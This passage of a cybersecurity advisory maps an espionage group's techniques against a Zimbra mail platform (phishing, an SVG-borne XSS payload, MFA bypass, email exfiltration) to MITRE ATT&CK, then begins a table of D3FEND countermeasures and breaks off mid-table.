<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
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<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
